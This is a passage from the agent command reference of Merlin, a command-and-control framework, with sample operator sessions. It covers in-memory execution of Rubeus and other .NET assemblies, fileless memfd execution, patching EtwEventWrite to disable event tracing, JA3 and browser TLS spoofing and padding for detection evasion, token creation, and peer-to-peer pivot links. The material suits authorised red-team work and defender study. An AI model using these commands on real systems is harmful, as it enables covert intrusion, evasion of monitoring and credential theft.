  Agent Failed Check In          | 0
  Agent Kill Date                | 1970-01-01T00:00:00Z
  Agent Communication Protocol   | h2
  Agent JA3 TLS Client Signature |

interact

Note

USAGE: interact agentID

The interact command takes one argument, the agent ID, and is used to switch agents and interact with a different, specified agent.

Note

Use the built-in tab completion to cycle through and select the agent to interact with.

Merlin[agent][c22c435f-f7c4-445b-bcd4-0d4e020645af]» interact d07edfda-e119-4be2-a20f-918ab701fa3c
Merlin[agent][d07edfda-e119-4be2-a20f-918ab701fa3c]»

invoke-assembly

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: invoke-assembly assemblyName [assemblyArguments]

The invoke-assembly command will execute a .NET assembly that was previously loaded into the agent with the load-assembly command. The first argument is the name of the assembly and all the remaining arguments are passed to the assembly for execution. Use the list-assemblies command return a list of loaded assemblies. The execute-assembly command is different because it uses injection to run the assembly in a child process. This command runs the assembly in the current process without injection.

Note

Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» invoke-assembly Rubeus.exe klist
[-] Created job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x37913

ipconfig

Note

USAGE: ipconfig

Note

This is command is the same as the ifconfig command

The ipconfig command will enumerate all of the host’s network interfaces and return their configuration.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job SEbZZEzGeH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job SEbZZEzGeH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Ethernet0
  MAC Address   00:0c:29:04:29:9d
  IP Address    192.168.1.132
  Subnet Mask   255.255.255.0
  Gateway       192.168.153.2
  DHCP          Enabled
  DHCP Server:  192.168.1.254

Bluetooth Network Connection
  MAC Address   f4:02:28:35:ae:b6
  IP Address    0.0.0.0
  Subnet Mask   0.0.0.0
  Gateway       0.0.0.0
  DHCP          Enabled
  DHCP Server:

ja3

Note

USAGE: ja3 signature

JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on its configuration of the following TLS options: SSLVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats.

The ja3 option allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (e.g.,. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/

Note

Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The -ja3 flag will override the the -proto flag and will cause the agent to use the protocol provided in the JA3 hash.

This example will create a TLS client with a JA3 hash of 51a7ad14509fd614c7bb3a50c4982b8c that matches Java based malware such as Neutrino and Nuclear Exploit Kit (EK).

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ja3 769,49161-49171-47-49156-49166-51-50-49159-49169-5-49154-49164-49160-49170-10-49155-49165-22-19-4-255,10-11-0,23-1-3-19-21-6-7-9-10-24-11-12-25-13-14-15-16-17-2-18-4-5-20-8-22,0
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job DWXtIAdjYz for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

jobs

Note

USAGE: jobs

The jobs command will display a table of all active jobs assigned to the agent. The output will not include jobs that have already completed.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» jobs

      ID     | STATUS  |     TYPE     |       CREATED        |         SENT
+------------+---------+--------------+----------------------+----------------------+
  whFGRWHudV | Sent    | NativeCmd    | 2020-12-18T11:45:07Z | 2020-12-18T11:45:38Z
  UxegCkyROR | Sent    | AgentControl | 2020-12-18T11:45:11Z | 2020-12-18T11:45:38Z
  YqhfUvxkqZ | Created | CmdPayload   | 2020-12-18T11:45:44Z |

kill

Note

USAGE: kill pid

The kill command is used to force a running process to quit or exit by its numerical identifier. The Process ID (PID) must be provided.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell "ps aux|grep gnome-calculator"
[-] Created job mBYVsnbYBS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job mBYVsnbYBS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] john      132905  0.3  0.6 890376 50268 ?        Sl   07:41   0:00 gnome-calculator

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» kill 132905
[-] Created job rjXgPGnZYl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job rjXgPGnZYl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Successfully killed pid 132905

killdate

Note

USAGE killdate epochDateTime

Killdate is a UNIX timestamp that denotes a time the executable will not run after (if it is 0 it will not be used). Killdate is checked before the agent performs each checkin, including before the initial checkin.

Killdate can be set in the agent/agent.go file before compiling, in the New function instantiation of a new agent. One scenario for using the killdate feature is an agent is persisted as a service and you want it to stop functioning after a certain date, in case the target organization fails to remediate the malicious service. Using killdate here would stop the agent from functioning after a certain specified UNIX system time.

The Killdate can also be set or changed for running agents using the set killdate command from the agent menu. This will only modify the killdate for the running agent in memory and will not update the compiled binary file. http://unixtimestamp.50x.eu/ can be used to generate a UNIX timestamp.

A UNIX timestamp of 0 will read like 1970-01-01T00:00:00Z in the agent info table.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» killdate 811123200
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job utpISXXXbl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

link

Note

USAGE: link {add|list|remove|refresh|tcp|udp|smb} address

The link command establishes a connection link with a peer-to-peer Agent. The link has the following methods:

add

list

remove

refresh

smb

tcp

udp

add

Note

USAGE: link add childAgentID

The link add command manually adds a peer-to-peer child Agent link by UUID on the server. This is useful if the Server was restarted and does not know about the peer-to-peer parent/child relationship. This command does not add or create a peer-to-peer link on the Agent itself.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link add afe6e797-f06f-449c-9f7a-2ba3df50c1b8
    [+] Successfully added child agent afe6e797-f06f-449c-9f7a-2ba3df50c1b8 link to parent agent c1090dbc-f2f7-4d90-a241-86e0c0217786

list

Note

USAGE: link list

The link list command instructs the Agent to return a list of its peer-to-peer links.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link list
[-] Created job SisWtXgSke for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:06:22Z
[-] Results of job SisWtXgSke for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:06:40Z
[+] Peer-to-Peer Links (2)
    0. tcp-bind:c426dce8-ffd9-42cc-8393-8885b731cc3b9:127.0.0.1:7777
    1. udp-bind:2f915108-0dd2-40fe-bf8b-8503b840a6ee:127.0.0.1:7777

remove

Note

USAGE: link remove childAgentID

The link remove command instructs the Agent to remove a child peer-to-peer Agent link. This is useful if a child peer-to-peer Agent dies but did not gracefully close the connection with the parent. This is more common with reverse peer-to-peer Agents.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link remove c426dce8-ffd9-42cc-8393-8885b731cc3b
[-] Created job JgjPdlbVTD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:23:08Z
[-] Results of job JgjPdlbVTD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:23:26Z
[+] Successfully removed P2P link for c426dce8-ffd9-42cc-8393-8885b731cc3b

refresh

Note

USAGE: link refresh

The link refresh command instructs the Agent to update the server with a full list of child peer-to-peer Agents. This is useful if the server is restarted and is not tracking the parent/child relationships or when a reverse Agent has negative sleep.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link refresh
[-] Created job jSWPVmORJq for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:32:21Z
[-] Results of job jSWPVmORJq for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:32:42Z
[+] Created upstream delegate messages for:
Peer-to-Peer Links (1)
0. tcp-bind:c426dce8-ffd9-42cc-8393-8885b731cc3b:127.0.0.1:7777

smb

Note

USAGE: link smb address pipeName

Warning

The parent must be running on Windows because the Agent has not re-implement SMB

The link smb command links to a child peer-to-peer bind SMB Agent. The ADDRESS can be a . for the localhost, an IP address, or a DNS hostname. The parent Agent must be running on a Windows host.

Merlin[agent][eb2a4636-cd93-4818-a844-87340d4a1c6a]» link smb . merlinpipe
[-] Created job ykIsVgNQDO for agent eb2a4636-cd93-4818-a844-87340d4a1c6a at 2023-07-22T13:09:57Z
[-] Results of job ykIsVgNQDO for agent eb2a4636-cd93-4818-a844-87340d4a1c6a at 2023-07-22T13:10:15Z
[+] Successfully connected to smb-bind Agent 206babc3-34fe-49fd-a018-9d4d1026bbec at \\\\.\\pipe\\merlinpipe
[+] New authenticated agent checkin for 206babc3-34fe-49fd-a018-9d4d1026bbec at 2023-07-22T13:10:47Z

Merlin[agent][1156a10c-9bc3-4d27-ad9f-5723be452cc6]» link smb 192.168.79.128 merlinpipe
[-] Created job NsFduoHEGW for agent 1156a10c-9bc3-4d27-ad9f-5723be452cc6 at 2023-07-22T13:14:35Z
[-] Results of job NsFduoHEGW for agent 1156a10c-9bc3-4d27-ad9f-5723be452cc6 at 2023-07-22T13:14:59Z
[+] Successfully connected to smb-bind Agent 295b0dab-af06-480c-b43b-eb81be87aa0b at \\\\192.168.79.128\\pipe\\merlinpipe
[+] New authenticated agent checkin for 295b0dab-af06-480c-b43b-eb81be87aa0b at 2023-07-22T13:15:34Z

tcp

Note

USAGE: link tcp interface:port

The link tcp command links to a child peer-to-peer bind TCP Agent.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link tcp 127.0.0.1:7777
[-] Created job fpXxQBSMrN for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T11:53:32Z
[-] Results of job fpXxQBSMrN for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T11:53:54Z
[+] Successfully connected to tcp-bind Agent c426dce8-ffd9-42cc-8393-8885b731cc3b at 127.0.0.1:7777
[+] New authenticated agent checkin for c426dce8-ffd9-42cc-8393-8885b731cc3b at 2023-07-22T11:54:29Z

udp

Note

USAGE: link udp interface:port

The link udp command links to a child peer-to-peer bind UDP Agent.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» link udp 127.0.0.1:7777
[-] Created job GflFUgVCwS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:03:47Z
[-] Results of job GflFUgVCwS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-22T12:04:00Z
[+] Successfully connected to udp-bind Agent 2f915108-0dd2-40fe-bf8b-8503b840a6ee at 127.0.0.1:7777
[+] New authenticated agent checkin for 2f915108-0dd2-40fe-bf8b-8503b840a6ee at 2023-07-22T12:04:31Z

listener

Note

USAGE: listener {list|start|stop} [protocol] [address]

The listener command starts, stops, or lists peer-to-peer listeners on the Agent.

list

start

stop

list

Note

USAGE: listener list

The listener list command instruct the Agent to return a list of its peer-to-peer listeners.

Note

The string [::] signifies all IP interfaces

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» listener list
[-] Created job OebvmmBQPr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-23T16:44:33Z
[-] Results of job OebvmmBQPr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-23T16:44:53Z
[+] Peer-to-Peer Listeners (3):
0. TCP listener on 127.0.0.1:7777
1. UDP listener on [::]:8888
2. SMB listener on \\\\.\\pipe\\merlinpipe

start

Note

USAGE: listener start {smb|tcp|udp} {namedPipe|<interface:port>}

The listener start command instructs the Agent to start a peer-to-peer listener for reverse connections. Use ‘0.0.0.0’ for all IPv4 interfaces. Only provide the name of the pipe for the SMB listener (e.g., merlinPipe).

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» listener start tcp 127.0.0.1:7777
[-] Created job LkIuWumcOt for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-23T16:40:24Z
[-] Results of job LkIuWumcOt for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-23T16:40:37Z
[+] Successfully started TCP listener on 127.0.0.1:7777\n

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» listener start udp 0.0.0.0:8888
[-] Created job suVecDPJhC for agent d942a9a5-a68e-42e7-8d26-71ac45e8345a at 2023-07-23T16:41:43Z
[-] Results of job suVecDPJhC for agent d942a9a5-a68e-42e7-8d26-71ac45e8345a at 2023-07-23T16:41:56Z
[+] Successfully started UDP listener on 0.0.0.0:8888

stop

Note

USAGE: listener stop {smb|tcp|udp} {namedPipe|<interface:port>}

The listener stop command instructs the Agent to stop a peer-to-peer listener.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» listener stop tcp 127.0.0.1:7777
[-] Created job zlVVVBDCVS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-23T16:53:58Z
[-] Results of job zlVVVBDCVS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-07-23T16:54:18Z
[+] Successfully closed TCP listener on 127.0.0.1:7777

listeners

Note

USAGE: listeners

The listeners command moves to the Listeners menu.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» listeners
    Merlin[listeners]»

list-assemblies

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: list-assemblies

The list-assemblies command lists .NET assemblies that have been loaded into the agent’s process with the load-assembly command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» list-assemblies
[-] Created job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NIflRstGrR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Loaded Assemblies:
seatbelt.exe
rubeus.exe
sharpdpapi.exe
sharpup.exe
Hagrid

load-assembly

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: load-assembly filePath [alias]

The load-assembly command loads a .NET assembly into the agent’s process. Once the assembly is loaded, it can be executed multiple times with the invoke-assembly command. The .NET assembly is only sent across the wire one time. An option third argument can be provided to reference the assembly as any other name when executed with the invoke-assembly command.

Note

Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe
[-] Created job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job iQOkWgGqkJ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] successfully loaded rubeus.exe into the default AppDomain

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-assembly /root/Rubeus.exe Hagrid
[-] Created job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job YrPdQkcuTG for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] successfully loaded Hagrid into the default AppDomain

load-clr

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: load-clr VERSION

The load-clr command loads the specified version of the .NET CLR into the current process.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» load-clr v4.0
[-] Created job zvxxrESztw for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-08-11T19:11:45Z
[-] Results of job zvxxrESztw for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2023-08-11T19:12:08Z
[+]
The v4.0 .NET CLR runtime was successfully loaded

ls

Note

USAGE: ls [filePath]

The ls command is used to list a directory’s contents using native Go functions within Merlin. This command will not execute the ls or dir binary programs found on their associated host operating systems. If a directory is not specified, Merlin will list the contents of the current working directory. When specifying a Windows path, you must escape the backslash (e.g.,. C:\Temp). Wrap file paths containing a space in quotations. Alternatively, Linux file paths with a space can be called without quotes by escaping the space (e.g.,. /root/some\ folder/). Relative paths can be used (e.g.,. ./../ or downloads\\Merlin) and they are resolved to their absolute path.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls /var
[-]Created job eNJKIiLXXH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job eNJKIiLXXH
Directory listing for: /var

drwxr-xr-x      2019-02-06 00:05:17     4096    backups
drwxr-xr-x      2018-12-24 14:40:14     4096    cache
dgtrwxrwxrwx    2019-02-06 00:05:16     4096    crash
drwxr-xr-x      2019-01-17 21:24:30     4096    lib
dgrwxrwxr-x     2018-04-24 04:34:22     4096    local
Lrwxrwxrwx      2018-11-07 21:33:01     9       lock
drwxrwxr-x      2019-02-06 00:05:39     4096    log
dgrwxrwxr-x     2018-07-24 23:03:56     4096    mail
dgtrwxrwxrwx    2018-07-24 23:09:50     4096    metrics
drwxr-xr-x      2018-07-24 23:03:56     4096    opt
Lrwxrwxrwx      2018-11-07 21:33:01     4       run
drwxr-xr-x      2018-11-07 21:45:43     4096    snap
drwxr-xr-x      2018-11-07 21:38:04     4096    spool
dtrwxrwxrwx     2019-02-06 00:05:38     4096    tmp

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls "C:\\Program Files (x86)\\"
[-]Created job ggQPFQhTrC for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job ggQPFQhTrC
Directory listing for: C:\Program Files (x86)

drwxrwxrwx      2018-09-15 00:42:33     0       Common Files
drwxrwxrwx      2018-09-15 02:08:27     0       Internet Explorer
drwxrwxrwx      2018-09-15 00:33:50     0       Microsoft.NET
drwxrwxrwx      2018-09-15 02:07:46     0       Windows Defender
drwxrwxrwx      2018-12-27 12:42:42     0       Windows Kits
drwxrwxrwx      2018-09-15 00:33:53     0       Windows Mail
drwxrwxrwx      2018-12-16 13:15:58     0       Windows Media Player
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Multimedia Platform
drwxrwxrwx      2019-01-10 08:18:11     0       Windows Photo Viewer
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Portable Devices
drwxrwxrwx      2018-09-15 00:33:50     0       Windows Sidebar
drwxrwxrwx      2018-09-15 00:33:50     0       WindowsPowerShell
-rw-rw-rw-      2018-09-15 00:31:34     174     desktop.ini
drwxrwxrwx      2018-09-15 00:42:33     0       windows nt

main

Note

USAGE: main

The main command is used to leave the Agent menu and return back to the Main Menu. It is an alias for the back command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main
Merlin»

make_token

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: make_token DOMAIN\\USERNAME PASSWORD

The make_token command creates a new Windows access token This command is an alias for the make command.n” +

Tokens are created with the Windows LogonUserW API call. The token is created with a type 9 - NewCredentials logon type. This is the equivalent of using runas.exe /netonly. Commands such as ‘token whoami’ will show the username for the process and not the created token due to the logon type, but will reflect the new Logon ID

Warning

Type 9 - NewCredentials tokens only work for NETWORK authenticated activities

References:

https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types

maxretry

Note

USAGE: maxretry number

The maxretry control type is used to change the _maximum_ number of failed login an agent will allow before the agent quits. For the sake of this conversation, a login means establishing contact with a Merlin Server and receiving no errors. The default is 7. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» maxretry 50
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job utpISXXXbl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

memfd

Note

This command is only available to agent running on a Linux operating system!

Note

USAGE: memfd filePath [args]

The memfd command loads a Linux executable file into memory (RAM) as an anonymous file using the memfd_create API call, executes it, and returns the results. The file is created with an empty string as its name. Less the fact that RAM is a file on Linux, the executable is not written to disk. View the Detecting Linux memfd_create() Fileless Malware with Command Line Forensics for detection guidance.

Note

This command will not run on Windows agents

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memfd /tmp/hello.py
[-] Created job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job ZyeWhgfThk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Hello from a Python script

memory

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: memory {read|write|patch} module procedure {readLength | hexData}

The memory command is used to interact with the agent’s virtual memory through the following methods:

patch

read

write

Uses direct syscalls for NtReadVirtualMemory, NtProtectVirtualMemory, & ZwWriteVirtualMemory implemented using BananaPhone

patch

Note

USAGE: memory patch module function bytes

The patch command locates the address of the provided procedure/function, reads the existing bytes, and the overwrites them with the provided bytes. A second read is performed to validate the write event. The command would be the same as calling the read and write commands individually.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memory patch ntdll.dll EtwEventWrite 9090C3
[-] Created job quRORyMMxS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job quRORyMMxS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Read  3 bytes from ntdll.dll!EtwEventWrite: 4C8BDC
Wrote 3 bytes to   ntdll.dll!EtwEventWrite: 9090C3
Read  3 bytes from ntdll.dll!EtwEventWrite: 9090C3

read

Note

USAGE: memory read module function length

The read command locates the address of the provided procedure/function and reads the specified number of bytes.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memory read ntdll.dll EtwEventWrite 3
[-] Created job YlqClnqRdK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job YlqClnqRdK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Read 3 bytes from ntdll.dll!EtwEventWrite: 4C8BDC

write

Note

USAGE: memory write module function bytes

The write command locates teh address of the provided procedure/function and writes the specified bytes.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» memory write ntdll.dll EtwEventWrite 9090C3
[-] Created job XTXJBLoZuO for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job XTXJBLoZuO for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Wrote 3 bytes to ntdll.dll!EtwEventWrite: 9090C3

modules

Note

USAGE: modules

The modules command moves to the Modules menu.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» modules
Merlin[modules]»

netstat

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: netstat [-p tcp|udp]

The netstat command uses the Windows API to enumerating network connections and listening ports. Without any arguments, the netstat command returns all TCP and UDP network connections.

Use netstat -p tcp to only return TCP connections and netstat -p udp to only return UDP connections.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» netstat
[-] Created job JEFMANkdaU for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job JEFMANkdaU for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Proto Local Addr              Foreign Addr            State        PID/Program name
udp   0.0.0.0:123             0.0.0.0:0                            3272/svchost.exe
udp   0.0.0.0:500             0.0.0.0:0                            3104/svchost.exe
udp   0.0.0.0:3389            0.0.0.0:0                            984/svchost.exe
udp6  :::123                  0.0.0.0:0                            3272/svchost.exe
udp6  :::500                  0.0.0.0:0                            3104/svchost.exe
udp6  :::3389                 0.0.0.0:0                            984/svchost.exe
tcp   0.0.0.0:135             0.0.0.0:0               LISTEN       964/svchost.exe
tcp   0.0.0.0:445             0.0.0.0:0               LISTEN       4/System
tcp   0.0.0.0:3389            0.0.0.0:0               LISTEN       984/svchost.exe
tcp   127.0.0.1:52945         127.0.0.1:5357          TIME_WAIT
tcp   127.0.0.1:54441         127.0.0.1:5357          TIME_WAIT
tcp   192.168.1.11:59757      72.21.91.29:80          CLOSE_WAIT   6496/SearchApp.exe
tcp   192.168.1.11:59763      72.21.91.29:80          CLOSE_WAIT   12076/YourPhone.exe
tcp6  :::135                  :::0                    LISTEN       964/svchost.exe
tcp6  :::445                  :::0                    LISTEN       4/System
tcp6  :::3389                 :::0                    LISTEN       984/svchost.exe

note

Note

USAGE: note message

The note command creates a server-side note that operators can use to record miscellaneous information about an agent. The note is displayed in a column of the output from the sessions command

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» note Demo Agent Here
[i] Agent c1090dbc-f2f7-4d90-a241-86e0c0217786's note set to: Demo Agent Here
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» sessions

               AGENT GUID              |    TRANSPORT    |   PLATFORM    |      HOST       |        USER         |                 PROCESS                  | STATUS | LAST CHECKIN |      NOTE
+--------------------------------------+-----------------+---------------+-----------------+---------------------+------------------------------------------+--------+--------------+-----------------+
  c1090dbc-f2f7-4d90-a241-86e0c0217786 | HTTP/2 over TLS | linux/amd64   | ubuntu          | rastley             | main(200769)                             | Active | 0:00:08 ago  | Demo Agent Here

nslookup

Note

USAGE: nslookup {hostname|ip address} {hostname|ip address} ...

The nslookup command takes a space separated list of IP addresses or hostnames and performs a DNS query using the host’s resolver and returns the results.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» nslookup 8.8.8.8 9.9.9.9 github.com google.com
[-] Created job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job fQilcQFmlk for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Query: 8.8.8.8, Result: dns.google.
Query: 9.9.9.9, Result: dns9.quad9.net.
Query: github.com, Result: 192.30.255.113
Query: google.com, Result: 142.250.73.238 2607:f8b0:4004:82a::200e

padding

Note

USAGE: padding size

The padding control type is used to change the _maximum_ size of a message’s padding. A random value between 0 and the maximum padding value is selected on a per message basis and added to the end of each message. This is used in an attempt to evade detection when a program looks for messages with same size beaconing out. The default is 4096. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set padding 8192
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job wlGTwgtqNx for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

parrot

Note

USAGE: parrot browserString

The parrot command changes the HTTP client’s TLS configuration to match the provided browser string. Tab completion contains some of, but not all, the supported browser strings. This setting will override the ja3 setting. Examples of some supported values are:

HelloChrome_Auto
HelloChrome_102
HelloGolang
HelloFirefox_Auto
HelloIOS_Auto
HelloEdge_Auto
HelloSafari_Auto
Hello360_Auto
HelloQQ_Auto

A full list of options can be found in the u_common.go file in the utls library.

pipes

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: pipes

The pipes command lists all of the named pipes on the Windows host where the agent is currently running:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pipes
[-] Created job XYXXiZaGev for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job XYXXiZaGev for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Named pipes:
\\.\pipe\InitShutdown
\\.\pipe\lsass
\\.\pipe\ntsvcs
\\.\pipe\scerpc
\\.\pipe\Winsock2\CatalogChangeListener-2f4-0
\\.\pipe\Winsock2\CatalogChangeListener-3c4-0
\\.\pipe\epmapper
\\.\pipe\Winsock2\CatalogChangeListener-254-0
\\.\pipe\LSM_API_service
\\.\pipe\Winsock2\CatalogChangeListener-3f8-0
\\.\pipe\eventlog
\\.\pipe\Winsock2\CatalogChangeListener-558-0
\\.\pipe\TermSrv_API_service
\\.\pipe\Ctx_WinStation_API_service
\\.\pipe\atsvc
\\.\pipe\Winsock2\CatalogChangeListener-734-0
\\.\pipe\wkssvc
\\.\pipe\SessEnvPublicRpc
\\.\pipe\Winsock2\CatalogChangeListener-a1c-0
\\.\pipe\spoolss
\\.\pipe\Winsock2\CatalogChangeListener-adc-0
\\.\pipe\trkwks

printenv

Note

USAGE: printenv

The printenv command is an alias for the env showall command that enumerates and return all environment variables:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» printenv
[-] Created job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variables:
SHELL=/bin/bash
SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/3195,unix/ubuntu:/tmp/.ICE-unix/3195
QT_ACCESSIBILITY=1
SNAP_REVISION=148
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
SNAP_REAL_HOME=/home/rastley
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh

ps

Note

This command is only available to agent running on a Windows operating system!

Note

USAGE: ps

The ps command uses the Windows API to gather available information about running processes. The agent is not running in a high-integrity process then some of the information will be missing.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]]» ps
[-] Created job afYByFZoXV for agent c1090dbc-f2f7-4d90-a241-86e0c0217786]

[-] Results job afYByFZoXV for agent c1090dbc-f2f7-4d90-a241-86e0c0217786]

[+]
PID     PPID    ARCH    OWNER   EXE
